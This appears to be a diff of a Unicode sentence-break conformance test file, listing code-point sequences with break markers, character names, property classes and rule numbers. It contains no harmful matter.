-÷ 0063 × 002E × 0064 ÷ # ÷ [0.2] LATIN SMALL LETTER C (Lower) × [12.0] FULL STOP (ATerm) × [8.0] LATIN SMALL LETTER D (Lower) ÷ [0.3]
-÷ 0043 × 002E × 0064 ÷ # ÷ [0.2] LATIN CAPITAL LETTER C (Upper) × [12.0] FULL STOP (ATerm) × [8.0] LATIN SMALL LETTER D (Lower) ÷ [0.3]
-÷ 0063 × 002E × 0044 ÷ # ÷ [0.2] LATIN SMALL LETTER C (Lower) × [12.0] FULL STOP (ATerm) × [7.0] LATIN CAPITAL LETTER D (Upper) ÷ [0.3]
-÷ 0043 × 002E × 0044 ÷ # ÷ [0.2] LATIN CAPITAL LETTER C (Upper) × [12.0] FULL STOP (ATerm) × [7.0] LATIN CAPITAL LETTER D (Upper) ÷ [0.3]
-÷ 0065 × 0074 × 0063 × 002E × 0029 × 2019 × 00A0 × 0074 × 0068 × 0065 ÷ # ÷ [0.2] LATIN SMALL LETTER E (Lower) × [12.0] LATIN SMALL LETTER T (Lower) × [12.0] LATIN SMALL LETTER C (Lower) × [12.0] FULL STOP (ATerm) × [8.0] RIGHT PARENTHESIS (Close) × [8.0] RIGHT SINGLE QUOTATION MARK (Close) × [8.0] NO-BREAK SPACE (Sp) × [8.0] LATIN SMALL LETTER T (Lower) × [12.0] LATIN SMALL LETTER H (Lower) × [12.0] LATIN SMALL LETTER E (Lower) ÷ [0.3]
-÷ 0065 × 0074 × 0063 × 002E × 0029 × 2019 × 00A0 ÷ 0054 × 0068 × 0065 ÷ # ÷ [0.2] LATIN SMALL LETTER E (Lower) × [12.0] LATIN SMALL LETTER T (Lower) × [12.0] LATIN SMALL LETTER C (Lower) × [12.0] FULL STOP (ATerm) × [9.0] RIGHT PARENTHESIS (Close) × [9.0] RIGHT SINGLE QUOTATION MARK (Close) × [9.0] NO-BREAK SPACE (Sp) ÷ [11.0] LATIN CAPITAL LETTER T (Upper) × [12.0] LATIN SMALL LETTER H (Lower) × [12.0] LATIN SMALL LETTER E (Lower) ÷ [0.3]
-÷ 0065 × 0074 × 0063 × 002E × 0029 × 2019 × 00A0 × 2018 × 0028 × 0074 × 0068 × 0065 ÷ # ÷ [0.2] LATIN SMALL LETTER E (Lower) × [12.0] LATIN SMALL LETTER T (Lower) × [12.0] LATIN SMALL LETTER C (Lower) × [12.0] FULL STOP (ATerm) × [8.0] RIGHT PARENTHESIS (Close) × [8.0] RIGHT SINGLE QUOTATION MARK (Close) × [8.0] NO-BREAK SPACE (Sp) × [8.0] LEFT SINGLE QUOTATION MARK (Close) × [12.0] LEFT PARENTHESIS (Close) × [12.0] LATIN SMALL LETTER T (Lower) × [12.0] LATIN SMALL LETTER H (Lower) × [12.0] LATIN SMALL LETTER E (Lower) ÷ [0.3]
-÷ 0065 × 0074 × 0063 × 002E × 0029 × 2019 × 00A0 ÷ 2018 × 0028 × 0054 × 0068 × 0065 ÷ # ÷ [0.2] LATIN SMALL LETTER E (Lower) × [12.0] LATIN SMALL LETTER T (Lower) × [12.0] LATIN SMALL LETTER C (Lower) × [12.0] FULL STOP (ATerm) × [9.0] RIGHT PARENTHESIS (Close) × [9.0] RIGHT SINGLE QUOTATION MARK (Close) × [9.0] NO-BREAK SPACE (Sp) ÷ [11.0] LEFT SINGLE QUOTATION MARK (Close) × [12.0] LEFT PARENTHESIS (Close) × [12.0] LATIN CAPITAL LETTER T (Upper) × [12.0] LATIN SMALL LETTER H (Lower) × [12.0] LATIN SMALL LETTER E (Lower) ÷ [0.3]
-÷ 0065 × 0074 × 0063 × 002E × 0029 × 2019 × 00A0 × 0308 × 0074 × 0068 × 0065 ÷ # ÷ [0.2] LATIN SMALL LETTER E (Lower) × [12.0] LATIN SMALL LETTER T (Lower) × [12.0] LATIN SMALL LETTER C (Lower) × [12.0] FULL STOP (ATerm) × [8.0] RIGHT PARENTHESIS (Close) × [8.0] RIGHT SINGLE QUOTATION MARK (Close) × [8.0] NO-BREAK SPACE (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) × [8.0] LATIN SMALL LETTER T (Lower) × [12.0] LATIN SMALL LETTER H (Lower) × [12.0] LATIN SMALL LETTER E (Lower) ÷ [0.3]
-÷ 0065 × 0074 × 0063 × 002E × 0029 × 2019 × 00A0 × 0308 ÷ 0054 × 0068 × 0065 ÷ # ÷ [0.2] LATIN SMALL LETTER E (Lower) × [12.0] LATIN SMALL LETTER T (Lower) × [12.0] LATIN SMALL LETTER C (Lower) × [12.0] FULL STOP (ATerm) × [9.0] RIGHT PARENTHESIS (Close) × [9.0] RIGHT SINGLE QUOTATION MARK (Close) × [9.0] NO-BREAK SPACE (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) ÷ [11.0] LATIN CAPITAL LETTER T (Upper) × [12.0] LATIN SMALL LETTER H (Lower) × [12.0] LATIN SMALL LETTER E (Lower) ÷ [0.3]
-÷ 0065 × 0074 × 0063 × 002E × 0029 × 2019 × 0308 ÷ 0054 × 0068 × 0065 ÷ # ÷ [0.2] LATIN SMALL LETTER E (Lower) × [12.0] LATIN SMALL LETTER T (Lower) × [12.0] LATIN SMALL LETTER C (Lower) × [12.0] FULL STOP (ATerm) × [9.0] RIGHT PARENTHESIS (Close) × [9.0] RIGHT SINGLE QUOTATION MARK (Close) × [5.0] COMBINING DIAERESIS (Extend_FE) ÷ [11.0] LATIN CAPITAL LETTER T (Upper) × [12.0] LATIN SMALL LETTER H (Lower) × [12.0] LATIN SMALL LETTER E (Lower) ÷ [0.3]
-÷ 0065 × 0074 × 0063 × 002E × 0029 × 000A ÷ 0308 × 0054 × 0068 × 0065 ÷ # ÷ [0.2] LATIN SMALL LETTER E (Lower) × [12.0] LATIN SMALL LETTER T (Lower) × [12.0] LATIN SMALL LETTER C (Lower) × [12.0] FULL STOP (ATerm) × [9.0] RIGHT PARENTHESIS (Close) × [9.0] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN CAPITAL LETTER T (Upper) × [12.0] LATIN SMALL LETTER H (Lower) × [12.0] LATIN SMALL LETTER E (Lower) ÷ [0.3]
-÷ 0074 × 0068 × 0065 × 0020 × 0072 × 0065 × 0073 × 0070 × 002E × 0020 × 006C × 0065 × 0061 × 0064 × 0065 × 0072 × 0073 × 0020 × 0061 × 0072 × 0065 ÷ # ÷ [0.2] LATIN SMALL LETTER T (Lower) × [12.0] LATIN SMALL LETTER H (Lower) × [12.0] LATIN SMALL LETTER E (Lower) × [12.0] SPACE (Sp) × [12.0] LATIN SMALL LETTER R (Lower) × [12.0] LATIN SMALL LETTER E (Lower) × [12.0] LATIN SMALL LETTER S (Lower) × [12.0] LATIN SMALL LETTER P (Lower) × [12.0] FULL STOP (ATerm) × [8.0] SPACE (Sp) × [8.0] LATIN SMALL LETTER L (Lower) × [12.0] LATIN SMALL LETTER E (Lower) × [12.0] LATIN SMALL LETTER A (Lower) × [12.0] LATIN SMALL LETTER D (Lower) × [12.0] LATIN SMALL LETTER E (Lower) × [12.0] LATIN SMALL LETTER R (Lower) × [12.0] LATIN SMALL LETTER S (Lower) × [12.0] SPACE (Sp) × [12.0] LATIN SMALL LETTER A (Lower) × [12.0] LATIN SMALL LETTER R (Lower) × [12.0] LATIN SMALL LETTER E (Lower) ÷ [0.3]
-÷ 5B57 × 002E ÷ 5B57 ÷ # ÷ [0.2] CJK UNIFIED IDEOGRAPH-5B57 (OLetter) × [12.0] FULL STOP (ATerm) ÷ [11.0] CJK UNIFIED IDEOGRAPH-5B57 (OLetter) ÷ [0.3]
-÷ 0065 × 0074 × 0063 × 002E ÷ 5B83 ÷ # ÷ [0.2] LATIN SMALL LETTER E (Lower) × [12.0] LATIN SMALL LETTER T (Lower) × [12.0] LATIN SMALL LETTER C (Lower) × [12.0] FULL STOP (ATerm) ÷ [11.0] CJK UNIFIED IDEOGRAPH-5B83 (OLetter) ÷ [0.3]
-÷ 0065 × 0074 × 0063 × 002E × 3002 ÷ # ÷ [0.2] LATIN SMALL LETTER E (Lower) × [12.0] LATIN SMALL LETTER T (Lower) × [12.0] LATIN SMALL LETTER C (Lower) × [12.0] FULL STOP (ATerm) × [8.1] IDEOGRAPHIC FULL STOP (STerm) ÷ [0.3]
-÷ 5B57 × 3002 ÷ 5B83 ÷ # ÷ [0.2] CJK UNIFIED IDEOGRAPH-5B57 (OLetter) × [12.0] IDEOGRAPHIC FULL STOP (STerm) ÷ [11.0] CJK UNIFIED IDEOGRAPH-5B83 (OLetter) ÷ [0.3]
+÷ 000D × 000A ÷ 0061 × 000A ÷ 0308 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) × [3.0] <LINE FEED (LF)> (LF) ÷ [4.0] LATIN SMALL LETTER A (Lower) × [998.0] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [0.3]
+÷ 0061 × 0308 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] COMBINING DIAERESIS (Extend_FE) ÷ [0.3]
+÷ 0020 × 200D × 0646 ÷ # ÷ [0.2] SPACE (Sp) × [5.0] ZERO WIDTH JOINER (Extend_FE) × [998.0] ARABIC LETTER NOON (OLetter) ÷ [0.3]
+÷ 0646 × 200D × 0020 ÷ # ÷ [0.2] ARABIC LETTER NOON (OLetter) × [5.0] ZERO WIDTH JOINER (Extend_FE) × [998.0] SPACE (Sp) ÷ [0.3]
+÷ 0028 × 0022 × 0047 × 006F × 002E × 0022 × 0029 × 0020 ÷ 0028 × 0048 × 0065 × 0020 × 0064 × 0069 × 0064 × 002E × 0029 ÷ # ÷ [0.2] LEFT PARENTHESIS (Close) × [998.0] QUOTATION MARK (Close) × [998.0] LATIN CAPITAL LETTER G (Upper) × [998.0] LATIN SMALL LETTER O (Lower) × [998.0] FULL STOP (ATerm) × [9.0] QUOTATION MARK (Close) × [9.0] RIGHT PARENTHESIS (Close) × [9.0] SPACE (Sp) ÷ [11.0] LEFT PARENTHESIS (Close) × [998.0] LATIN CAPITAL LETTER H (Upper) × [998.0] LATIN SMALL LETTER E (Lower) × [998.0] SPACE (Sp) × [998.0] LATIN SMALL LETTER D (Lower) × [998.0] LATIN SMALL LETTER I (Lower) × [998.0] LATIN SMALL LETTER D (Lower) × [998.0] FULL STOP (ATerm) × [9.0] RIGHT PARENTHESIS (Close) ÷ [0.3]
+÷ 0028 × 201C × 0047 × 006F × 003F × 201D × 0029 × 0020 ÷ 0028 × 0048 × 0065 × 0020 × 0064 × 0069 × 0064 × 002E × 0029 ÷ # ÷ [0.2] LEFT PARENTHESIS (Close) × [998.0] LEFT DOUBLE QUOTATION MARK (Close) × [998.0] LATIN CAPITAL LETTER G (Upper) × [998.0] LATIN SMALL LETTER O (Lower) × [998.0] QUESTION MARK (STerm) × [9.0] RIGHT DOUBLE QUOTATION MARK (Close) × [9.0] RIGHT PARENTHESIS (Close) × [9.0] SPACE (Sp) ÷ [11.0] LEFT PARENTHESIS (Close) × [998.0] LATIN CAPITAL LETTER H (Upper) × [998.0] LATIN SMALL LETTER E (Lower) × [998.0] SPACE (Sp) × [998.0] LATIN SMALL LETTER D (Lower) × [998.0] LATIN SMALL LETTER I (Lower) × [998.0] LATIN SMALL LETTER D (Lower) × [998.0] FULL STOP (ATerm) × [9.0] RIGHT PARENTHESIS (Close) ÷ [0.3]
+÷ 0055 × 002E × 0053 × 002E × 0041 × 0300 × 002E × 0020 × 0069 × 0073 ÷ # ÷ [0.2] LATIN CAPITAL LETTER U (Upper) × [998.0] FULL STOP (ATerm) × [7.0] LATIN CAPITAL LETTER S (Upper) × [998.0] FULL STOP (ATerm) × [7.0] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) × [998.0] FULL STOP (ATerm) × [8.0] SPACE (Sp) × [8.0] LATIN SMALL LETTER I (Lower) × [998.0] LATIN SMALL LETTER S (Lower) ÷ [0.3]
+÷ 0055 × 002E × 0053 × 002E × 0041 × 0300 × 003F × 0020 ÷ 0048 × 0065 ÷ # ÷ [0.2] LATIN CAPITAL LETTER U (Upper) × [998.0] FULL STOP (ATerm) × [7.0] LATIN CAPITAL LETTER S (Upper) × [998.0] FULL STOP (ATerm) × [7.0] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) × [998.0] QUESTION MARK (STerm) × [9.0] SPACE (Sp) ÷ [11.0] LATIN CAPITAL LETTER H (Upper) × [998.0] LATIN SMALL LETTER E (Lower) ÷ [0.3]
+÷ 0055 × 002E × 0053 × 002E × 0041 × 0300 × 002E ÷ # ÷ [0.2] LATIN CAPITAL LETTER U (Upper) × [998.0] FULL STOP (ATerm) × [7.0] LATIN CAPITAL LETTER S (Upper) × [998.0] FULL STOP (ATerm) × [7.0] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) × [998.0] FULL STOP (ATerm) ÷ [0.3]
+÷ 0033 × 002E × 0034 ÷ # ÷ [0.2] DIGIT THREE (Numeric) × [998.0] FULL STOP (ATerm) × [6.0] DIGIT FOUR (Numeric) ÷ [0.3]
+÷ 0063 × 002E × 0064 ÷ # ÷ [0.2] LATIN SMALL LETTER C (Lower) × [998.0] FULL STOP (ATerm) × [8.0] LATIN SMALL LETTER D (Lower) ÷ [0.3]
+÷ 0043 × 002E × 0064 ÷ # ÷ [0.2] LATIN CAPITAL LETTER C (Upper) × [998.0] FULL STOP (ATerm) × [8.0] LATIN SMALL LETTER D (Lower) ÷ [0.3]
+÷ 0063 × 002E × 0044 ÷ # ÷ [0.2] LATIN SMALL LETTER C (Lower) × [998.0] FULL STOP (ATerm) × [7.0] LATIN CAPITAL LETTER D (Upper) ÷ [0.3]
+÷ 0043 × 002E × 0044 ÷ # ÷ [0.2] LATIN CAPITAL LETTER C (Upper) × [998.0] FULL STOP (ATerm) × [7.0] LATIN CAPITAL LETTER D (Upper) ÷ [0.3]
+÷ 0065 × 0074 × 0063 × 002E × 0029 × 2019 × 00A0 × 0074 × 0068 × 0065 ÷ # ÷ [0.2] LATIN SMALL LETTER E (Lower) × [998.0] LATIN SMALL LETTER T (Lower) × [998.0] LATIN SMALL LETTER C (Lower) × [998.0] FULL STOP (ATerm) × [8.0] RIGHT PARENTHESIS (Close) × [8.0] RIGHT SINGLE QUOTATION MARK (Close) × [8.0] NO-BREAK SPACE (Sp) × [8.0] LATIN SMALL LETTER T (Lower) × [998.0] LATIN SMALL LETTER H (Lower) × [998.0] LATIN SMALL LETTER E (Lower) ÷ [0.3]
+÷ 0065 × 0074 × 0063 × 002E × 0029 × 2019 × 00A0 ÷ 0054 × 0068 × 0065 ÷ # ÷ [0.2] LATIN SMALL LETTER E (Lower) × [998.0] LATIN SMALL LETTER T (Lower) × [998.0] LATIN SMALL LETTER C (Lower) × [998.0] FULL STOP (ATerm) × [9.0] RIGHT PARENTHESIS (Close) × [9.0] RIGHT SINGLE QUOTATION MARK (Close) × [9.0] NO-BREAK SPACE (Sp) ÷ [11.0] LATIN CAPITAL LETTER T (Upper) × [998.0] LATIN SMALL LETTER H (Lower) × [998.0] LATIN SMALL LETTER E (Lower) ÷ [0.3]
+÷ 0065 × 0074 × 0063 × 002E × 0029 × 2019 × 00A0 × 2018 × 0028 × 0074 × 0068 × 0065 ÷ # ÷ [0.2] LATIN SMALL LETTER E (Lower) × [998.0] LATIN SMALL LETTER T (Lower) × [998.0] LATIN SMALL LETTER C (Lower) × [998.0] FULL STOP (ATerm) × [8.0] RIGHT PARENTHESIS (Close) × [8.0] RIGHT SINGLE QUOTATION MARK (Close) × [8.0] NO-BREAK SPACE (Sp) × [8.0] LEFT SINGLE QUOTATION MARK (Close) × [998.0] LEFT PARENTHESIS (Close) × [998.0] LATIN SMALL LETTER T (Lower) × [998.0] LATIN SMALL LETTER H (Lower) × [998.0] LATIN SMALL LETTER E (Lower) ÷ [0.3]
+÷ 0065 × 0074 × 0063 × 002E × 0029 × 2019 × 00A0 ÷ 2018 × 0028 × 0054 × 0068 × 0065 ÷ # ÷ [0.2] LATIN SMALL LETTER E (Lower) × [998.0] LATIN SMALL LETTER T (Lower) × [998.0] LATIN SMALL LETTER C (Lower) × [998.0] FULL STOP (ATerm) × [9.0] RIGHT PARENTHESIS (Close) × [9.0] RIGHT SINGLE QUOTATION MARK (Close) × [9.0] NO-BREAK SPACE (Sp) ÷ [11.0] LEFT SINGLE QUOTATION MARK (Close) × [998.0] LEFT PARENTHESIS (Close) × [998.0] LATIN CAPITAL LETTER T (Upper) × [998.0] LATIN SMALL LETTER H (Lower) × [998.0] LATIN SMALL LETTER E (Lower) ÷ [0.3]
+÷ 0065 × 0074 × 0063 × 002E × 0029 × 2019 × 00A0 × 0308 × 0074 × 0068 × 0065 ÷ # ÷ [0.2] LATIN SMALL LETTER E (Lower) × [998.0] LATIN SMALL LETTER T (Lower) × [998.0] LATIN SMALL LETTER C (Lower) × [998.0] FULL STOP (ATerm) × [8.0] RIGHT PARENTHESIS (Close) × [8.0] RIGHT SINGLE QUOTATION MARK (Close) × [8.0] NO-BREAK SPACE (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) × [8.0] LATIN SMALL LETTER T (Lower) × [998.0] LATIN SMALL LETTER H (Lower) × [998.0] LATIN SMALL LETTER E (Lower) ÷ [0.3]
+÷ 0065 × 0074 × 0063 × 002E × 0029 × 2019 × 00A0 × 0308 ÷ 0054 × 0068 × 0065 ÷ # ÷ [0.2] LATIN SMALL LETTER E (Lower) × [998.0] LATIN SMALL LETTER T (Lower) × [998.0] LATIN SMALL LETTER C (Lower) × [998.0] FULL STOP (ATerm) × [9.0] RIGHT PARENTHESIS (Close) × [9.0] RIGHT SINGLE QUOTATION MARK (Close) × [9.0] NO-BREAK SPACE (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) ÷ [11.0] LATIN CAPITAL LETTER T (Upper) × [998.0] LATIN SMALL LETTER H (Lower) × [998.0] LATIN SMALL LETTER E (Lower) ÷ [0.3]
+÷ 0065 × 0074 × 0063 × 002E × 0029 × 2019 × 0308 ÷ 0054 × 0068 × 0065 ÷ # ÷ [0.2] LATIN SMALL LETTER E (Lower) × [998.0] LATIN SMALL LETTER T (Lower) × [998.0] LATIN SMALL LETTER C (Lower) × [998.0] FULL STOP (ATerm) × [9.0] RIGHT PARENTHESIS (Close) × [9.0] RIGHT SINGLE QUOTATION MARK (Close) × [5.0] COMBINING DIAERESIS (Extend_FE) ÷ [11.0] LATIN CAPITAL LETTER T (Upper) × [998.0] LATIN SMALL LETTER H (Lower) × [998.0] LATIN SMALL LETTER E (Lower) ÷ [0.3]
+÷ 0065 × 0074 × 0063 × 002E × 0029 × 000A ÷ 0308 × 0054 × 0068 × 0065 ÷ # ÷ [0.2] LATIN SMALL LETTER E (Lower) × [998.0] LATIN SMALL LETTER T (Lower) × [998.0] LATIN SMALL LETTER C (Lower) × [998.0] FULL STOP (ATerm) × [9.0] RIGHT PARENTHESIS (Close) × [9.0] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN CAPITAL LETTER T (Upper) × [998.0] LATIN SMALL LETTER H (Lower) × [998.0] LATIN SMALL LETTER E (Lower) ÷ [0.3]
+÷ 0074 × 0068 × 0065 × 0020 × 0072 × 0065 × 0073 × 0070 × 002E × 0020 × 006C × 0065 × 0061 × 0064 × 0065 × 0072 × 0073 × 0020 × 0061 × 0072 × 0065 ÷ # ÷ [0.2] LATIN SMALL LETTER T (Lower) × [998.0] LATIN SMALL LETTER H (Lower) × [998.0] LATIN SMALL LETTER E (Lower) × [998.0] SPACE (Sp) × [998.0] LATIN SMALL LETTER R (Lower) × [998.0] LATIN SMALL LETTER E (Lower) × [998.0] LATIN SMALL LETTER S (Lower) × [998.0] LATIN SMALL LETTER P (Lower) × [998.0] FULL STOP (ATerm) × [8.0] SPACE (Sp) × [8.0] LATIN SMALL LETTER L (Lower) × [998.0] LATIN SMALL LETTER E (Lower) × [998.0] LATIN SMALL LETTER A (Lower) × [998.0] LATIN SMALL LETTER D (Lower) × [998.0] LATIN SMALL LETTER E (Lower) × [998.0] LATIN SMALL LETTER R (Lower) × [998.0] LATIN SMALL LETTER S (Lower) × [998.0] SPACE (Sp) × [998.0] LATIN SMALL LETTER A (Lower) × [998.0] LATIN SMALL LETTER R (Lower) × [998.0] LATIN SMALL LETTER E (Lower) ÷ [0.3]
+÷ 5B57 × 002E ÷ 5B57 ÷ # ÷ [0.2] CJK UNIFIED IDEOGRAPH-5B57 (OLetter) × [998.0] FULL STOP (ATerm) ÷ [11.0] CJK UNIFIED IDEOGRAPH-5B57 (OLetter) ÷ [0.3]
+÷ 0065 × 0074 × 0063 × 002E ÷ 5B83 ÷ # ÷ [0.2] LATIN SMALL LETTER E (Lower) × [998.0] LATIN SMALL LETTER T (Lower) × [998.0] LATIN SMALL LETTER C (Lower) × [998.0] FULL STOP (ATerm) ÷ [11.0] CJK UNIFIED IDEOGRAPH-5B83 (OLetter) ÷ [0.3]
+÷ 0065 × 0074 × 0063 × 002E × 3002 ÷ # ÷ [0.2] LATIN SMALL LETTER E (Lower) × [998.0] LATIN SMALL LETTER T (Lower) × [998.0] LATIN SMALL LETTER C (Lower) × [998.0] FULL STOP (ATerm) × [8.1] IDEOGRAPHIC FULL STOP (STerm) ÷ [0.3]
+÷ 5B57 × 3002 ÷ 5B83 ÷ # ÷ [0.2] CJK UNIFIED IDEOGRAPH-5B57 (OLetter) × [998.0] IDEOGRAPHIC FULL STOP (STerm) ÷ [11.0] CJK UNIFIED IDEOGRAPH-5B83 (OLetter) ÷ [0.3]
÷ 0021 × 0020 × 0020 ÷ # ÷ [0.2] EXCLAMATION MARK (STerm) × [9.0] SPACE (Sp) × [10.0] SPACE (Sp) ÷ [0.3]
-÷ 2060 × 0028 × 2060 × 0022 × 2060 × 0047 × 2060 × 006F × 2060 × 002E × 2060 × 0022 × 2060 × 0029 × 2060 × 0020 × 2060 ÷ 0028 × 2060 × 0048 × 2060 × 0065 × 2060 × 0020 × 2060 × 0064 × 2060 × 0069 × 2060 × 0064 × 2060 × 002E × 2060 × 0029 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [12.0] LEFT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [12.0] QUOTATION MARK (Close) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN CAPITAL LETTER G (Upper) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER O (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [9.0] QUOTATION MARK (Close) × [5.0] WORD JOINER (Format_FE) × [9.0] RIGHT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [9.0] SPACE (Sp) × [5.0] WORD JOINER (Format_FE) ÷ [11.0] LEFT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN CAPITAL LETTER H (Upper) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] SPACE (Sp) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER D (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER I (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER D (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [9.0] RIGHT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2060 × 0028 × 2060 × 201C × 2060 × 0047 × 2060 × 006F × 2060 × 003F × 2060 × 201D × 2060 × 0029 × 2060 × 0020 × 2060 ÷ 0028 × 2060 × 0048 × 2060 × 0065 × 2060 × 0020 × 2060 × 0064 × 2060 × 0069 × 2060 × 0064 × 2060 × 002E × 2060 × 0029 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [12.0] LEFT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [12.0] LEFT DOUBLE QUOTATION MARK (Close) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN CAPITAL LETTER G (Upper) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER O (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] QUESTION MARK (STerm) × [5.0] WORD JOINER (Format_FE) × [9.0] RIGHT DOUBLE QUOTATION MARK (Close) × [5.0] WORD JOINER (Format_FE) × [9.0] RIGHT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [9.0] SPACE (Sp) × [5.0] WORD JOINER (Format_FE) ÷ [11.0] LEFT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN CAPITAL LETTER H (Upper) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] SPACE (Sp) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER D (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER I (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER D (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [9.0] RIGHT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2060 × 0055 × 2060 × 002E × 2060 × 0053 × 2060 × 002E × 2060 × 0041 × 2060 × 0300 × 002E × 2060 × 0020 × 2060 × 0069 × 2060 × 0073 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [12.0] LATIN CAPITAL LETTER U (Upper) × [5.0] WORD JOINER (Format_FE) × [12.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [7.0] LATIN CAPITAL LETTER S (Upper) × [5.0] WORD JOINER (Format_FE) × [12.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [7.0] LATIN CAPITAL LETTER A (Upper) × [5.0] WORD JOINER (Format_FE) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) × [12.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [8.0] SPACE (Sp) × [5.0] WORD JOINER (Format_FE) × [8.0] LATIN SMALL LETTER I (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER S (Lower) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2060 × 0055 × 2060 × 002E × 2060 × 0053 × 2060 × 002E × 2060 × 0041 × 2060 × 0300 × 003F × 2060 × 0020 × 2060 ÷ 0048 × 2060 × 0065 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [12.0] LATIN CAPITAL LETTER U (Upper) × [5.0] WORD JOINER (Format_FE) × [12.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [7.0] LATIN CAPITAL LETTER S (Upper) × [5.0] WORD JOINER (Format_FE) × [12.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [7.0] LATIN CAPITAL LETTER A (Upper) × [5.0] WORD JOINER (Format_FE) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) × [12.0] QUESTION MARK (STerm) × [5.0] WORD JOINER (Format_FE) × [9.0] SPACE (Sp) × [5.0] WORD JOINER (Format_FE) ÷ [11.0] LATIN CAPITAL LETTER H (Upper) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2060 × 0055 × 2060 × 002E × 2060 × 0053 × 2060 × 002E × 2060 × 0041 × 2060 × 0300 × 002E × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [12.0] LATIN CAPITAL LETTER U (Upper) × [5.0] WORD JOINER (Format_FE) × [12.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [7.0] LATIN CAPITAL LETTER S (Upper) × [5.0] WORD JOINER (Format_FE) × [12.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [7.0] LATIN CAPITAL LETTER A (Upper) × [5.0] WORD JOINER (Format_FE) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) × [12.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2060 × 0033 × 2060 × 002E × 2060 × 0034 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [12.0] DIGIT THREE (Numeric) × [5.0] WORD JOINER (Format_FE) × [12.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [6.0] DIGIT FOUR (Numeric) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2060 × 0063 × 2060 × 002E × 2060 × 0064 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER C (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [8.0] LATIN SMALL LETTER D (Lower) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
